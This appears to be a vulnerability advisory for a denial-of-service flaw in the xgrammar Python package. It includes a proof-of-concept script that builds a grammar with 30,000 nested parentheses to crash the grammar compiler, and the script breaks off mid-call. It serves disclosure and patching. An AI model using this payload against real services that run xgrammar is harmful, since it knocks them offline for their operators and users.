xgrammar vulnerable to DoS via multi-layer nesting
Date: 2026-03
Affected: pip/xgrammar
Attack vector: dos
Category: vulnerability-disclosure
Severity: High
CVE: CVE-2026-25048
CWE: CWE-674

### Summary The multi-level nested syntax caused a segmentation fault (core dump). ### Details A trigger stack overflow or memory exhaustion was caused by constructing a malicious grammar rule containing 30,000 layers of nested parentheses. ### PoC ``` #!/usr/bin/env python3 """ XGrammar - Math Expression Generation Example """ import xgrammar as xgr import torch from transformers import AutoModelForCausalLM, AutoTokenizer, AutoConfig s = '(' * 30000 + 'a' grammar = f"root ::= {s}" def main(): device = "cuda" if torch.cuda.is_available() else "cpu" model_name = "Qwen/Qwen2.5-0.5B-Instruct" # Load model model = AutoModelForCausalLM.from_pretrained( model_name, torch_dtype=torch.float16 if device == "cuda" else torch.float32, device_map=device ) tokenizer = AutoTokenizer.from_pretrained(model_name) config = AutoConfig.from_pretrained(model_name) # Math expression grammar math_grammar = grammar # Setup tokenizer_info = xgr.TokenizerInfo.from_huggingface( tokenizer, vocab_size=config.vocab_size ) compiler = xgr.GrammarCompiler(tokenizer_info) compiled_grammar = compiler.compile_grammar(math_grammar) # Generate prompt = "Math: " inputs = tokenizer(prompt, return_tensors="pt").to(device) xgr_processor = xgr.contrib.hf.LogitsProcessor(compiled_grammar) output_ids = model.generate( **inputs, max_new_tokens=50,


Mitigations:

Architectural layers (MAESTRO):